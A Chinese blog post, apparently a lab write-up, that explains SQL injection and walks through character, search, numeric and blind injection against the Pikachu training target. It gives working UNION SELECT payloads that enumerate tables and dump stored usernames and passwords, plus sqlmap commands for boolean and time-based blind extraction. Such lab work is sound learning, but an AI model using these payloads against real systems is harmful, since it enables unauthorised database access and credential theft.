什么是SQL注入漏洞,SQL注入漏洞的流程

这几天做了一个靶机里面有关于SQL注入漏洞,想着把SQL注入漏洞写一下,方便自己跟大家查看

什么是SQL注入漏洞

注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。
它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。
攻击者可以使用SQL注入漏洞绕过应用程序安全措施;
可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;
还可以使用SQL注入来添加,修改和删除数据库中的记录。

SQL注入漏洞分类、以及基本测试流程。

一.字符型注入

1.通过单引号或者and方法测试是否有注入

kobe' 系统会报错

kobe' and 1=1# 正确

kobe' and 1=2# 错误

2.猜解一下sql语句模板的列数

kobe' order by 2#  正确

kobe' order by 3#  报错

证明SQL语句可以查询两列

3.测试回显位置

kobe' union select 1,2#

4.读取数据库数据

4.1 获取当前数据库名称和数据库版本

kobe' union select version(),database()#

5.5.53 版本

数据库名称 pikachu

4.2 获取表名称

kobe1' union select group_concat(table_name),'aaaa' from information_schema.tables where table_schema = 'pikachu'#

httpinfo,member,message,users,xssblind

4.3 对感兴趣的表,获取列名称

member

kobe1' union select group_concat(column_name),'aaaa' from information_schema.columns where table_schema = 'pikachu' and table_name = 'member'#

id,username,pw,sex,phonenum,address,email

4.4 获取账号密码数据

kobe1' union select group_concat(username),group_concat(pw) from pikachu.member#

二.盲注型注入(base on time)

1.第一步:抓包,并在注入点插入*标注

 
 





 

2.第二步:连接虚拟机、Xshell和kali,更改设置用本地IP进行pikachu的访问。

 3.1第三步:将抓包获取的文件放入Xshell中方便语句的输入执行

3.2根据二分法盲猜测数据库长度、数据库名和表名

3.2对注入点进行探测,查看是否插入成功

3.3利用sqlmap进行基于时间的盲注(利用命令T进行盲注)

4.利用sqlmap语句进行表名的获取、内容的获取

三.盲注型注入(base on boolian)

 

1.第一步,利用burpsuit抓包,将抓取的内容放在txt文件中并创建txt文件用于插入注入点

 


 

 2.第二步,爆出数据库名称,并利用length()猜测数据库名

执行语句:

Sqlmap -r 999.txt --technique=B  --dbms=mysql --string='恭喜'

3、爆出数据库中的表、以及表中的列

执行语句1:

sqlmap -r 999.txt --technique=B  --dbms=mysql --string='恭喜' -D pikachu --tables


执行语句2:

sqlmap -r 999.txt --technique=B  --dbms=mysql --string='恭喜' -D pikachu -T users  --columns


 

3.爆密码和用户名

执行语句:

sqlmap -r 999.txt --technique=B  --dbms=mysql --string='恭喜' -D pikachu -T users  -C username, password  -dump 

四.搜索型注入

1.第一步,通过单引号或者and方法测试是否有注入

 


 

  kobe and 1=1 正确   kobe and 1=2 错误



 

注意:搜索型闭合符号与字符型不同。

搜索行的闭合回路语句是:

 k%' and 1=1#



 

2.猜解一下sql语句模板的列数
 

k%' order by 3#
k%' order by 4#


当输入k%' order by 4#


会显示报错,所以在此搜索库中最多有三列


 3.测试回显位置
 

k%' union select 1,2#


 

4.读取数据库数据
 

k%' union select 1,version(),database()#



 

5, 获取表名称

 k%' union select group_concat(table_name),'aaaa','cc'from information_schema.tables where table_schema = 'pikachu'#

6, 对感兴趣的表,获取列名称
 

kobe%' union select "ccc",group_concat(column_name),'aaaa' from information_schema.columns where table_schema = 'pikachu' and table_name = 'member'#


7, 获取账号密码数据

 kobe%' union select group_concat(username),group_concat(pw),"aaa" from pikachu.member#


五.数字型注入

首先对源码分析:

前端获取的变量id未做任何处理,直接拼接到select语句中进行查询,形成sql注入。

打开pikachu的数字注入型,确认输入点是否存在注入,随便提交一个数

并进行抓包将抓到的数据包发送到repeat中,做测试。输入or 1=1,点击提交。发现用户的所有数据,说明在id=1处存在注入漏洞。

查询数据库的列数,输入order by 3报错

重新构造pyload ,输入order by 2,成功爆出当前查询数据库的列数

重新构造pyload,查看当前版本和数据库名称

重新构造pyload,获取表的名称

重新构造pyload,对感兴趣的表,获取列名称

获取账号和密码

member

union select group_concat(column_name),'aaaa' from information_schema.columns where table_schema = 'pikachu' and table_name = 'member'

4 测试结果

经过盲注型渗透,进行数据的猜测获取。注意:每种类型的注入符号都有所不同,需要反复尝试,来得到注入的符号。

  • 3
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值